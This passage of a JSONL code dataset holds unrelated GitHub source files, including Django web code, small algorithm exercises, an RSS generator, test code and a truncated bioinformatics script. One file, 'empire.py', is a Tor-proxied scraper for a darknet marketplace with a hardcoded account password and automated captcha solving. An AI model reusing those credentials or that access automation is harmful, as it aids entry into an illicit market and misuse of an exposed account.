json.loads(request.body)\r\n if request.user.is_authenticated:\r\n customer = request.user.customer\r\n order, created = Order.objects.get_or_create(customer=customer, complete=False)\r\n total = float(data ['form'] ['total'])\r\n order.transaction_id = transaction_id\r\n\r\n if total == order.order_total:\r\n order.complete = True\r\n order.save()\r\n\r\n if order.shipping == True:\r\n ShippingAddress.objects.create(\r\n customer=customer,\r\n order=order,\r\n address=data['shipping']['address'],\r\n city=data['shipping']['city'],\r\n state=data['shipping']['state'],\r\n zipcode=data['shipping']['zipcode'],\r\n )\r\n\r\n return JsonResponse('Order Confirmed', safe = False)","repo_name":"JesseLindahl/Jesse-Lindahl-SWDV-691-Capstone-Project","sub_path":"capstone/app/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23407512788","text":"# Print all root to leaf paths\n\nfrom TreeNode import Node\n\n# Store all paths in a list\npaths = []\n\ndef print_path(root, path):\n\tif root == None:\n\t\treturn\n\n\tif root.left == None and root.right == None:\n\t\tprint(path + \" \" + str(root.val))\n\t\tpaths.append(path + \" \" + str(root.val))\n\t\treturn\n\t\n\telse:\n\t\tprint_path(root.left, path + \" \" + str(root.val))\n\t\tprint_path(root.right, path + \" \" + str(root.val))\n\n\nroot = Node(1)\nroot.left = Node(-10)\nroot.right = Node(11)\nroot.left.right = Node(5)\nroot.left.right.right = Node(3)\nroot.right.left = Node(13)\nroot.right.right = Node(16)\n\nprint(\"Root to leaf paths: \")\nprint_path(root, \"\")","repo_name":"sheelabhadra/Elements-Programming-Interviews","sub_path":"Trees/print_paths.py","file_name":"print_paths.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"23779063525","text":"import numpy as np\nimport random as rm\nimport matplotlib.pyplot as plt\n\nMAX = 100000\n\ndef creaxey():\n ale1 = rm.randint(0,1)\n if ale1 == 1:\n return 1\n else:\n return -1\n\ndef creacaminate():\n X = 0\n Y = 0\n x_pos = np.zeros(MAX)\n y_pos = np.zeros(MAX)\n for i in range(0, MAX):\n X += creaxey()\n x_pos[i] = X\n Y += creaxey()\n y_pos[i] = Y\n return x_pos, y_pos\n\ndef pasos():\n ini = 0\n lpasos = np.zeros(MAX)\n for j in range(0, MAX):\n \tini += 1\n \tlpasos[j] = ini\n return lpasos\n\ndef main():\n lsteps = pasos()\n xarray, yarray = creacaminate()\n prox = 0\n lprox = np.zeros(MAX)\n for i in range(len(xarray)):\n prox += np.sqrt(xarray[i]*xarray[i] + yarray[i]*yarray[i])\n lprox[i] = prox\n\n #plt.plot(xarray, yarray)\n\n plt.loglog(lsteps,lprox)\n plt.show()\n\nmain()","repo_name":"edmar2407/MonteCarloIsing","sub_path":"dosd.py","file_name":"dosd.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23488169741","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n# -*- coding: utf-8 -*-\n\nmyfile = open(\"A-large.in.txt\", \"r\")\ncontent=myfile.read().splitlines()\nmyfile.close()\n\nnum_cases = content[0]\nnumbers = content[1:]\nl = 0\n\ndef check(c,t):\n\tt = list(map(int, str(t)))\n\n\tfor i in t:\n\t\tif i not in lnum:\n\t\t\tlnum.append(int(i))\n\t\t\tc += 1\n\n\treturn c\n\n\noutfile = open('texto.txt', 'w')\nfor k in numbers:\n\tN=k\n\n\tl += 1\n\tif N == \"0\":\n\t\toutfile.write(\"Case #\" + str(l) + \": INSOMNIA\"+ \"\\n\")\n\n\telse:\n\t\tcounter = 0\n\t\ti = 1\n\t\tlnum = []\n\t\t#n = 1\n\t\twhile counter != 10:\n\t\t\tt= int(N) * i\n\t\t\tcounter = check(counter,t)\n\t\t\ti += 1\n\n\t\toutfile.write(\"Case #\" + str(l) + \": \" + str(t)+ \"\\n\")\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_177/5111.py","file_name":"5111.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23581093101","text":"from __future__ import division\r\n\r\n# def parse_input(str_test):\r\n# t = str_test.split()\r\n# return map(int, t)\r\n\r\n\r\ndef solve(D, N, K, S):\r\n max_t = 0\r\n for Ki,Si in zip(K,S):\r\n t_i = (D-Ki)/Si\r\n max_t = max(max_t, t_i)\r\n\r\n V = D/max_t\r\n return \"{0:.6f}\".format(V)\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_206/599.py","file_name":"599.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"7088920865","text":"\nimport PyRSS2Gen\nimport datetime\nimport argparse\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport feedparser\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-n', '--name', required=True, help='name of the whole feed')\nparser.add_argument('-f', '--file', required=True)\nparser.add_argument('-u', '--url', required=True)\nparser.add_argument('-b', '--base', help='narrow the lookup to the contents of this item')\nparser.add_argument('-c', '--criteria', required=True, help='criteria of picking the base items')\nparser.add_argument('-d', '--description', help='description scheme of individual items')\nparser.add_argument('-l', '--link', required=True, help='link scheme of individual items. Base item name is \\'item\\'')\nparser.add_argument('-t', '--title', help='title scheme of individual items')\nparser.add_argument('-q', '--limit', help='number of items to take. >0 = take items from beginning, otherwise from end', default=-50)\nparser.add_argument('-x', '--cookies', help='cookies to include with the request', default='{}')\nparser.add_argument('-o', '--overwrite', help='don\\'t fetch existing feed', action=\"store_true\")\nparser.add_argument('-a', '--auth', help='dictionary containing authorization information')\nparser.add_argument('-z', '--debug', action=\"store_true\")\nargs = parser.parse_args()\n\nif args.overwrite:\n items = []\n oldlinks = []\nelse:\n feed = feedparser.parse(args.file)\n items = [\n PyRSS2Gen.RSSItem(\n title=x.title,\n link=x.link,\n description=x.summary,\n )\n for x in feed.entries\n ]\n oldlinks = [x.link for x in items]\n\n\n\nsoup = BeautifulSoup(requests.get(args.url, cookies=eval(args.cookies)).text)\nif args.base:\n soup = soup.find(**eval(args.base))\nargs.limit = int(args.limit)\nif args.limit > 0:\n newitems = soup(**eval(args.criteria))[:args.limit]\nelif args.limit < 0:\n newitems = soup(**eval(args.criteria))[args.limit:]\nelse:\n newitems = soup(**eval(args.criteria))\nif args.debug:\n print(newitems)\n exit()\nfor item in newitems:\n link = str(eval(args.link))\n # print(link)\n if link not in oldlinks:\n try:\n description = str(eval(args.description)) if args.description else ''\n except:\n description = ''\n items.append(\n PyRSS2Gen.RSSItem(\n title=str(eval(args.title)) if args.title else item,\n link=link,\n # description= ''\n description=description\n )\n )\n\n if args.debug:\n print(items[-1].title)\n # with open('temp.html', 'w', encoding='utf8') as f:\n # f.write(requests.get(args.url, cookies=eval(args.cookies)).text)\n # exit()\n\nrss = PyRSS2Gen.RSS2(\n title=args.name,\n link=args.url,\n description=\"RSS maker made by Dariush.\",\n language='en-us',\n lastBuildDate=datetime.datetime.utcnow().strftime(\"%a, %d %b %Y %H:%M:%S GMT\"),\n docs='http://blogs.law.harvard.edu/tech/rss',\n items=items[-100:],\n)\nf = open(args.file, encoding=\"utf-8\", mode=\"w\")\nf.write(rss.to_xml(\"utf-8\").replace('><', '>\\n<'))\n","repo_name":"Darayavaush/rss-maker","sub_path":"rssmakerbs.py","file_name":"rssmakerbs.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"4234384323","text":"import os\nimport re\nimport uuid\nimport base64\nimport requests\nfrom urllib.parse import unquote\n\nfrom scrapy import (\n Request,\n FormRequest\n)\nfrom scraper.base_scrapper import (\n MarketPlaceSpider,\n SiteMapScrapper\n)\n\n\nUSERNAME = \"blastedone\"\nPASSWORD = \"Chq#Blast888\"\n\nUSER_AGENT = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36\"\n\nPROXY = 'http://127.0.0.1:8118'\n\n\nclass EmpireSpider(MarketPlaceSpider):\n\n name = \"empire_spider\"\n\n # Url stuffs\n urls = [\n 'http://oz3jlxp4oymxt4rzuzm266fvc357fnmwzvm7iigjmntxim2w4m43s2ad.onion',\n 'http://xhhk37ey4yal7mcgv5b6f2mwtgysh5zpm6o2j33s4htosik3nobobmid.onion',\n 'http://sgxye32vhffhn7d3twtgicbchznimd6guj27pyou7jhosmxttan7c2id.onion',\n 'http://cdtqz6ip57l6ugctdq33z6hr63xanlxtmpjbvzayygow6b4hkdvuctqd.onion',\n 'http://vxyl2wkhkmtjpvbb3eia26vdzhaphrr7dbf6ovwjqy63f27vjffjwiyd.onion',\n 'http://erj7kwqkdkl73ewsuq6stztehx2tehk2aidxlex3btrfnjqax3ucvgyd.onion',\n 'http://p3f5jyqooy3pqzmugzxq2fwcxmdttkshn57nca4pserrcvw6xj5mrfid.onion',\n 'http://m4itbrzwruzzzqfjie6ygxzqnqnjxhq6d24hyjpvyk7qdtycckr73mad.onion',\n 'http://wlwcklts7mes5zcs2muzgorikvdp44mpvjglpenphqo2jwvofr75xvad.onion',\n 'http://uvkxwkpeemv4frvju6ks5wveec5bxljfibknuioejpjkl3oq2up55lyd.onion',\n 'http://igoz2dm6vqo3nuweg3vztqszxprugx2lb6xxbrmz2tkec37gc2vkd5yd.onion',\n 'http://piifyattgybu3a2rwx675ptqzeb4f7sfjxslx6n4a7kccijlksxzroqd.onion',\n 'http://k7lwzkbirsizhvtrmafqzy7ut47junhdczab3766kok2xc3odvzdijad.onion',\n 'http://sczojdk73hhztnyc6omdelztijoejf2sucfvpwfzazgvgvsbsobo5dqd.onion',\n 'http://6o6vpjt6di2nf5lykqssx4e5wnjw7pjaq4ja6dsyx2onuadevqgcbjad.onion',\n 'http://i5kjii2y2jumlye6etmouksvdhech357urmj4txctrneedl4vkfjbsqd.onion',\n 'http://p4e6p65pal3s4zrva3q3gk44s3ejl7futx47qserb2slcwyjj7sao4id.onion',\n 'http://jfjkkvra7753bp7czrooipdeacc3ptwmeuurlbb3d42ntngonhq7ycad.onion',\n ]\n\n # xpath stuffs\n login_form_xpath = '//form[@method=\"post\"]'\n captcha_instruction = 'Black characters only'\n captcha_url_xpath = '//img[contains(@src, \"captchaimg\")]/@src'\n invalid_captcha_xpath = '//p[@class=\"invalidCaptchaError\"]/text()'\n market_url_xpath = '//a[contains(@href, \"/categories/\")]/@href'\n product_url_xpath = '//a[contains(@href, \"/product/\")]/@href'\n next_page_xpath = '//a[@rel=\"next\"]/@href'\n user_xpath = '//a[contains(@href, \"/u/\")]/@href'\n avatar_xpath = '//div[@class=\"user_info_left\"]/img/@src'\n # Regex stuffs\n avatar_name_pattern = re.compile(\n r\".*/(\\S+\\.\\w+)\",\n re.IGNORECASE\n )\n\n use_proxy = \"Tor\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.headers.update(\n {\n \"User-Agent\": USER_AGENT\n }\n )\n\n def get_base_url(self, ):\n proxies = {'https': PROXY, 'http': PROXY}\n for url in self.urls:\n self.logger.info(f'Trying url: {url}')\n try:\n r = requests.get(url, proxies=proxies, timeout=15)\n if 'placeholder=\"Username\"' in r.text:\n return url\n except Exception:\n continue\n\n def synchronize_meta(self, response, default_meta={}):\n meta = {\n key: response.meta.get(key) for key in [\"cookiejar\", \"ip\"]\n if response.meta.get(key)\n }\n\n meta.update(default_meta)\n meta.update({'proxy': PROXY})\n\n return meta\n\n def get_user_id(self, url):\n return url.rsplit('u/', 1)[-1]\n\n def get_file_id(self, url):\n return url.rsplit('product/', 1)[-1].replace('/', '')\n\n def start_requests(self):\n self.base_url = self.get_base_url()\n yield Request(\n url=self.base_url,\n headers=self.headers,\n callback=self.parse_login,\n dont_filter=True,\n meta={\n 'proxy': PROXY,\n }\n )\n\n def parse_login(self, response):\n\n # Synchronize user agent for cloudfare middleware\n self.synchronize_headers(response)\n userfield = response.xpath(\n '//input[@placeholder=\"Username\"]/@name').extract_first()\n passfield = response.xpath(\n '//input[@placeholder=\"Password\"]/@name').extract_first()\n captchafield = response.xpath(\n '//input[contains(@placeholder, \"captcha\")]/@name').extract_first()\n\n # Load cookies\n cookies = response.request.headers.get(\"Cookie\").decode(\"utf-8\")\n if not cookies:\n yield from self.start_requests()\n return\n # Load captcha url\n captcha_url = response.xpath(\n self.captcha_url_xpath).extract_first()\n captcha = self.solve_captcha(\n captcha_url,\n response\n )\n self.logger.info(\n \"Captcha has been solved: %s\" % captcha\n )\n\n formdata = {\n userfield: USERNAME,\n passfield: PASSWORD,\n captchafield: captcha\n }\n print(formdata)\n\n yield FormRequest.from_response(\n response=response,\n formxpath=self.login_form_xpath,\n formdata=formdata,\n headers=self.headers,\n dont_filter=True,\n meta=self.synchronize_meta(response),\n callback=self.parse_start\n )\n\n def parse_start(self, response):\n # Synchronize cloudfare user agent\n self.synchronize_headers(response)\n\n # Check valid captcha\n is_invalid_captcha = response.xpath(\n self.invalid_captcha_xpath).extract_first()\n if is_invalid_captcha:\n self.logger.info(\n \"Invalid captcha.\"\n )\n return\n\n yield from super().parse_start(response)\n\n\nclass EmpireScrapper(SiteMapScrapper):\n spider_class = EmpireSpider\n site_name = 'empire (uhjru3mxpre7fgrmhdyd3c7kaenkzov3bxaiezp5pnsoxoqehhszi5yd.onion)'\n site_type = 'marketplace'\n","repo_name":"ken2190/Enterprise-Forum-Scraper","sub_path":"scraper/empire.py","file_name":"empire.py","file_ext":"py","file_size_in_byte":6092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"40603682037","text":"import os\nflag=True\nwhile flag:\n os.system(\"python3 gerador.py >input\")\n os.system(\"./d < input > outputoriginal\")\n os.system(\"./d2 < input > outputbrute\")\n lnumbers = open(\"outputoriginal\", 'r')\n brutet = open(\"outputbrute\", 'r')\n if lnumbers.readlines() == brutet.readlines():\n print(\"ate agora ta certo\")\n else:\n print(\"deu ruim\")\n flag=False\n","repo_name":"Rdpaula/Competitive-Programming","sub_path":"tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"}
+{"seq_id":"25637635699","text":"import bleach\n\nfrom django import forms\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.conf import settings\nfrom groupsystem.models import BasicGroup, GroupPost, GroupNews,\\\n PostComment, GroupNotification, CustomRole,\\\n GroupMemberExtraPerm\n\n\nclass CreateGroupForm(forms.ModelForm):\n def clean_name(self):\n name = self.cleaned_data.get('name', None)\n try:\n BasicGroup.objects.get(name=name)\n except ObjectDoesNotExist:\n return name\n raise forms.ValidationError(\n _('Group Exist')\n )\n\n def clean_group_type_other(self):\n group_type = self.cleaned_data.get('group_type', None)\n group_type_other = self.cleaned_data.get('group_type_other', None)\n\n if group_type == '9':\n if group_type_other:\n return group_type_other\n else:\n raise forms.ValidationError(\n _('You must specify other group type')\n )\n\n if group_type != '9':\n if group_type_other:\n raise forms.ValidationError(\n _(\"You can't fill this field with default group types\")\n )\n\n class Meta:\n model = BasicGroup\n fields = [\n 'name',\n 'short_about',\n 'group_type',\n 'group_type_other'\n ]\n\n\nclass CreatePostForm(forms.ModelForm):\n title = forms.CharField(required=True,\n widget=forms.TextInput(\n attrs={'placeholder': 'Post title'}\n ))\n post = forms.CharField(required=True,\n widget=forms.Textarea(\n attrs={'placeholder': 'Add a post'}\n ))\n\n def clean_post(self):\n post = self.cleaned_data.get('post', '')\n cleaned_text = bleach.clean(\n post,\n settings.BLEACH_VALID_TAGS,\n settings.BLEACH_VALID_ATTRS,\n settings.BLEACH_VALID_STYLES\n )\n return cleaned_text # sanitize html\n\n class Meta:\n model = GroupPost\n fields = [\n 'title',\n 'post'\n ]\n\n\nclass EditGroupForm(forms.ModelForm):\n header_image = forms.ImageField(\n required=False,\n widget=forms.FileInput\n )\n logo = forms.ImageField(\n required=False,\n widget=forms.FileInput\n )\n\n def __init__(self, *args, **kwargs):\n self.basicgroup = kwargs.pop('basicgroup', None)\n super(EditGroupForm, self).__init__(*args, **kwargs)\n\n def clean_name(self):\n name = self.cleaned_data.get('name', None)\n if self.basicgroup.name == name:\n return name\n else:\n try:\n BasicGroup.objects.get(name=name)\n except ObjectDoesNotExist:\n return name\n raise forms.ValidationError(\n _('Group name already taken')\n )\n\n def clean_group_type_other(self):\n group_type = self.cleaned_data.get('group_type', None)\n group_type_other = self.cleaned_data.get('group_type_other', None)\n\n if group_type == '9':\n if group_type_other:\n return group_type_other\n else:\n raise forms.ValidationError(\n _('You must specify other group type')\n )\n\n if group_type != '9':\n if group_type_other:\n raise forms.ValidationError(\n _(\"You can't fill this field with default group types\")\n )\n\n class Meta:\n model = BasicGroup\n fields = [\n 'name',\n 'header_image',\n 'logo',\n 'short_about',\n 'long_about',\n 'group_type',\n 'group_type_other',\n ]\n\n\nclass CreateNewsForm(forms.ModelForm):\n class Meta:\n model = GroupNews\n fields = ['title', 'news']\n\n\nclass EditPostForm(forms.ModelForm):\n def clean_post(self):\n post = self.cleaned_data.get('post', '')\n cleaned_text = bleach.clean(\n post,\n settings.BLEACH_VALID_TAGS,\n settings.BLEACH_VALID_ATTRS,\n settings.BLEACH_VALID_STYLES\n )\n return cleaned_text # sanitize html\n\n class Meta:\n model = GroupPost\n fields = [\n 'post'\n ]\n\n\nclass EditCommentForm(forms.ModelForm):\n class Meta:\n model = PostComment\n fields = [\n 'comment',\n ]\n\n\nclass EventForm(forms.Form):\n event_id = forms.CharField(widget=forms.HiddenInput(), required=False)\n title = forms.CharField(label=\"Title\", max_length=60, required=True)\n start_date = forms.DateTimeField(\n required=True,\n label='Start Date',\n widget=forms.TextInput(\n attrs={\n 'class': 'datepicker'\n }\n )\n )\n end_date = forms.DateTimeField(\n required=False,\n label='End Date',\n widget=forms.TextInput(\n attrs={\n 'class': 'datepicker'\n }\n )\n )\n color = forms.CharField(label='Color', required=True)\n\n\nclass NotificationForm(forms.ModelForm):\n class Meta:\n model = GroupNotification\n fields = [\n 'notification'\n ]\n\n\nclass CustomRoleCreateForm(forms.ModelForm):\n def __init__(self, *args, **kwargs):\n self.group_id = kwargs.pop('group_id', None)\n super(CustomRoleCreateForm, self).__init__(*args, **kwargs)\n\n def clean_custom_role_name(self):\n restricted_names = ['superadmin', 'admin', 'moderator', 'member', 'subscriber']\n custom_role_name = self.cleaned_data.get('custom_role_name', None)\n if custom_role_name.lower() in restricted_names:\n raise forms.ValidationError(\n _(\n \"You can't choose a default role name\"\n )\n )\n try:\n CustomRole.objects.get(permission_group='%s_%s' % (self.group_id, custom_role_name))\n except ObjectDoesNotExist:\n return custom_role_name\n raise forms.ValidationError(_(\"Role exist\"))\n\n class Meta:\n model = CustomRole\n fields = [\n 'custom_role_name'\n ]\n\n\nclass EditRolePermForm(forms.ModelForm):\n class Meta:\n model = CustomRole\n exclude = [\n 'basic_group',\n 'custom_role_name',\n 'permission_group'\n ]\n\n\nclass EditExtraPermForm(forms.ModelForm):\n class Meta:\n model = GroupMemberExtraPerm\n exclude = [\n 'basic_group',\n 'user'\n ]\n","repo_name":"nullc0der/ekataplatform","sub_path":"groupsystem/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"7739831052","text":"n = int(input())\nprev = None\ntemp = None\nflag = True\nis_decreasing = True\nis_increasing = False\nfor i in range(n):\n if temp is None:\n temp = int(input())\n prev = temp\n continue\n temp = int(input())\n if is_decreasing:\n if(temp < prev):\n continue\n if (temp == prev):\n flag = False\n break\n if (temp > prev):\n is_decreasing = False\n is_increasing = True\n continue\n\n if is_increasing:\n if (temp <= prev):\n flag = False\n break\n\nif flag:\n print(\"true\")\nelse:\n print(\"false\")\n","repo_name":"mercurist/Machine-Learning","sub_path":"Kickstart Python/Python Intermediate/Practice problems/sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"34742868749","text":"from economics.raw_data.monthly_us_labor_files_to_rds import LaborBLStoRDS\nfrom common.helpers.common_dependency_helper import register_common_mock_dependencies\nfrom common.utilities.inversion_of_control import dependencies, Dependency\nfrom datetime import datetime\nimport __builtin__\nimport StringIO\nimport unittest\nimport mox\nimport os\nimport requests\n\n__author__ = 'clairseager'\n\n\nclass LaborFTPtoRDSTest(mox.MoxTestBase):\n\n def setUp(self):\n super(LaborFTPtoRDSTest, self).setUp()\n\n # set up mocks\n register_common_mock_dependencies()\n self.mox.StubOutWithMock(__builtin__, \"open\")\n\n self.mock_main_access = Dependency(\"CoreAPIProvider\").value\n self.deployment_provider = Dependency(\"DeploymentProvider\").value\n self.requests = self.mox.CreateMock(requests)\n self.email_provider = Dependency(\"EmailProvider\").value\n\n # logger\n self.logger = Dependency(\"SimpleConsole\").value\n\n self.email_recipients = [\"taco\"]\n self.url = \"fake_url.com/fake/directory/\"\n\n self.downloader = LaborBLStoRDS(self.logger, self.email_recipients, rds_directory=\"/whatevs/data\")\n self.downloader.url = self.url\n self.downloader.local_dir = \"monty/python/\"\n self.downloader.file_name = \"TacoDonut\"\n self.downloader.zipped_filename = self.downloader.file_name + \".tar.gz\"\n self.downloader.rds_path = \"holy/grail\"\n self.downloader.skip_files_containing = [\"Alaska\", \"footnote\"]\n self.downloader.requests = self.requests\n\n def tearDown(self):\n # remove dependencies for next set of tests\n dependencies.clear()\n\n def test_download_files(self):\n\n urls, dates = self.downloader.parse_directory_html(mock_html_listing)\n\n for f in urls:\n if \"Alaska\" not in f and \"footnote\" not in f:\n self.requests.get(f).AndReturn(MockRequest())\n fn = self.downloader.local_dir + f.split(\"/\")[-1]\n opf = open(fn, 'w').AndReturn(MockFile())\n opf.write(\"asdf\")\n\n self.mox.ReplayAll()\n self.downloader.download_files(urls)\n\n self.assertItemsEqual(self.downloader.saved_files, mock_file_list)\n self.assertNotIn(\"la.data.Alaska\", self.downloader.saved_files)\n\n def test_upload_to_rds(self):\n # set up a fake file for the mocked open method to return\n f = open(self.downloader.zipped_filename, 'rb').AndReturn(MockFile())\n self.mox.ReplayAll()\n\n self.downloader.upload_to_rds(datetime.utcnow())\n\n self.assertDictEqual(self.downloader.response, {\"holy/grail/TacoDonut.tar.gz\":\"fake_object_id\"})\n self.assertItemsEqual(self.mock_main_access.rds.files, [(self.downloader.rds_path, self.downloader.file_name + \".tar.gz\")])\n\n def test_send_email_no_exception(self):\n self.downloader.send_email()\n\n self.assertItemsEqual(self.email_provider.to_email, self.email_recipients)\n self.assertEqual(self.email_provider.from_email, \"zoolander@signaldataco.com\")\n self.assertEqual(self.email_provider.subject, \"Monthly Labor Downloader Succeeded\")\n self.assertIn(\"Monthly Labor Downloader Success!\", self.email_provider.message)\n\n def test_send_email_with_exception(self):\n self.downloader.send_email(exception_message=\"DANCE IS LIFE\")\n\n self.assertItemsEqual(self.email_provider.to_email, self.email_recipients)\n self.assertEqual(self.email_provider.from_email, \"zoolander@signaldataco.com\")\n self.assertEqual(self.email_provider.subject, \"Monthly Labor Downloader Error!\")\n self.assertIn(\"Monthly Labor Downloader Error!\", self.email_provider.message)\n self.assertIn(\"DANCE IS LIFE\", self.email_provider.message)\n self.assertNotIn(\"DANCE IS LIFF\", self.email_provider.message)\n\n def test_send_email_with_info(self):\n info = {\"extra_info\": \"goes here\"}\n self.downloader.response = info\n self.downloader.send_email()\n\n self.assertItemsEqual(self.email_provider.to_email, self.email_recipients)\n self.assertEqual(self.email_provider.from_email, \"zoolander@signaldataco.com\")\n self.assertEqual(self.email_provider.subject, \"Monthly Labor Downloader Succeeded\")\n self.assertIn(\"Monthly Labor Downloader Success!\", self.email_provider.message)\n self.assertIn(str(info), self.email_provider.message)\n\n def test_run(self):\n\n r = self.requests.get(self.url).AndReturn(MockRequest())\n r.text = mock_html_listing\n\n urls, dates = self.downloader.parse_directory_html(mock_html_listing)\n\n # stub out the call to check for the latest bls file date, and make the file in RDS seem old\n self.mox.StubOutWithMock(self.downloader.main_access.rds, \"call_get_latest_in_path\")\n mock_response = self.mox.CreateMockAnything()\n def mock_json():\n return {\"metadata\": {\"max_bls_file_date\": datetime(1900,1,1)}}\n mock_response.json = mock_json\n self.downloader.main_access.rds.call_get_latest_in_path(\"/whatevs/data\").AndReturn(mock_response)\n\n self.downloader.get_filenames = lambda x: (\"TacoDonut\", \"monty/python/\", \"TacoDonut.tar.gz\")\n self.downloader.get_filenames(mock_html_listing)\n\n for f in urls:\n if \"Alaska\" not in f and \"footnote\" not in f:\n self.requests.get(f).AndReturn(MockRequest())\n fn = self.downloader.local_dir + f.split(\"/\")[-1]\n opf = open(fn, 'w').AndReturn(MockFile())\n opf.write(\"asdf\")\n\n f = open(self.downloader.zipped_filename, 'rb').AndReturn(MockFile())\n\n self.mox.ReplayAll()\n\n self.downloader.run()\n\n self.assertItemsEqual(self.email_provider.to_email, self.email_recipients)\n self.assertEqual(self.email_provider.from_email, \"zoolander@signaldataco.com\")\n self.assertIn(str(self.downloader.response), self.email_provider.message)\n\n self.assertItemsEqual(self.deployment_provider.deleted_files, [\"\".join([os.path.expanduser(\"~/\"), i]) for i in [\"monty/python\", \"monty/python.tar.gz\"]])\n self.assertEqual(self.deployment_provider.tar_filename, self.downloader.file_name)\n self.assertEqual(self.deployment_provider.tar_zipped_file_name, self.downloader.zipped_filename)\n\n self.assertItemsEqual(self.downloader.saved_files, mock_file_list)\n self.assertNotIn(\"la.data.Alaska\", self.downloader.saved_files)\n self.assertDictEqual(self.downloader.response, {\"holy/grail/TacoDonut.tar.gz\":\"fake_object_id\"})\n\n self.assertItemsEqual(self.mock_main_access.rds.files, [(self.downloader.rds_path, self.downloader.file_name + \".tar.gz\")])\n\n\nclass MockFile():\n\n def __enter__(self):\n return StringIO.StringIO(\"Fake File\")\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n pass\n\n def write(self, text):\n pass\n\nclass MockRequest():\n\n text = \"asdf\"\n\n\nmock_html_listing = \"\"\"\ndownload.bls.gov - /pub/time.series/la/
The following group of sequences are identical clones on the variable '\n 'regions:
')\n identical_clones_seq = _identical_clones.keys()\n if identical_clones_seq:\n for seq in identical_clones_seq:\n ids = list(set(_identical_clones[seq])) # return only one occurrence of each item in the list\n w.write('
')\n for z in range(len(_good_seq[ids[0]]['var'])):\n w.write('
%d
%s
' % (z + 1, _good_seq[ids[0]]['var'][z]))\n w.write('
')\n else:\n w.write('
No clone was found.
')\n\n first = True\n for i in range(_nb_var_part):\n keys = []\n for k in _var_seq_common[str(i + 1)].keys():\n nb = _var_seq_common[str(i + 1)][k]\n if nb > 1:\n if first:\n w.write(\n '
Here\\'s the distribution of the repeated sequences in variable regions:
Variable '\n 'region
Repeated sequence
Number of occurrences (percentage of valid sequences)
')\n first = False\n keys.append(k)\n else:\n keys.append(k)\n nb = len(keys)\n if nb != 0:\n w.write('
Multiple sequence alignment of the mutated sequences generated by Clustal Omega:
' % str(\n aln_out))\n\n if _tag['stop']:\n w.write('
Protein sequences with a stop codon in FASTA format:
')\n\n if _tag['amber']:\n w.write('
Protein sequences with an amber codon in FASTA format:
')\n\n w.write('
')\n w.close()\n\n\nnb_seq = len(list(SeqIO.parse(args.input, \"fasta\")))\n\nfor seq_record in SeqIO.parse(args.input, \"fasta\"):\n seq_id = seq_record.id\n seq = str(seq_record.seq)\n seq = seq.upper()\n all_seq.append(seq_id)\n # Checking if both restriction sites are present in the sequence\n if site_res_5 in seq and site_res_3 in seq:\n valid = True\n else:\n valid = False\n tag['no_restric'].append(seq_id)\n # If sequence has both restriction sites, checking if it is necessary to take the reverse complement strand\n if valid:\n site_res_5_pos = seq.index(site_res_5)\n site_res_3_pos = seq.index(site_res_3)\n # If site_res_5_pos > site_res_3_pos, reverse complement strand has to be calculated\n if site_res_5_pos > site_res_3_pos:\n # Checking if the number of nucleic acids between the restriction sites is a multiple of 3\n length = math.fabs((site_res_5_pos + len(site_res_5)) - site_res_3_pos)\n valid = length % 3 == 0\n cut_seq = seq[:site_res_5_pos + len(site_res_5)]\n cut_seq = reverse_complement(cut_seq)\n\n # Else if site_res_5_pos < site_res_3_pos, use the sequence as it is\n else:\n # Checking if the number of nucleic acids between the restriction sites is a multiple of 3\n length = math.fabs((site_res_3_pos + len(site_res_3)) - site_res_5_pos)\n valid = length % 3 == 0\n cut_seq = seq[site_res_5_pos:]\n # If the number of nucleic acids between the restriction sites isn't a multiple of 3, put the sequence away\n if not valid:\n tag['no_multiple'].append(seq_id)\n prot_seq = translate(cut_seq)\n all_seq_fasta[seq_id] = {}\n all_seq_fasta[seq_id]['prot'] = prot_seq\n else:\n # Translate nucleic sequence into amino acid sequence\n prot_seq = translate(cut_seq)\n all_seq_fasta[seq_id] = {}\n all_seq_fasta[seq_id]['prot'] = prot_seq\n\n # Looking for stop codon in the sequence and getting their position in the sequence\n if '*' in prot_seq:\n pos_stop = [m.start() for m in re.finditer(r\"\\*\", prot_seq)]\n stop = False\n # Checking if stop codon is between the restriction sites, also checking if it is an amber codon. if stop codon other than amber codon -> tag stop\n for i in range(len(pos_stop)):\n if pos_stop[i] < length / 3:\n stop_codon_nuc = cut_seq[pos_stop[i] * 3:pos_stop[i] * 3 + 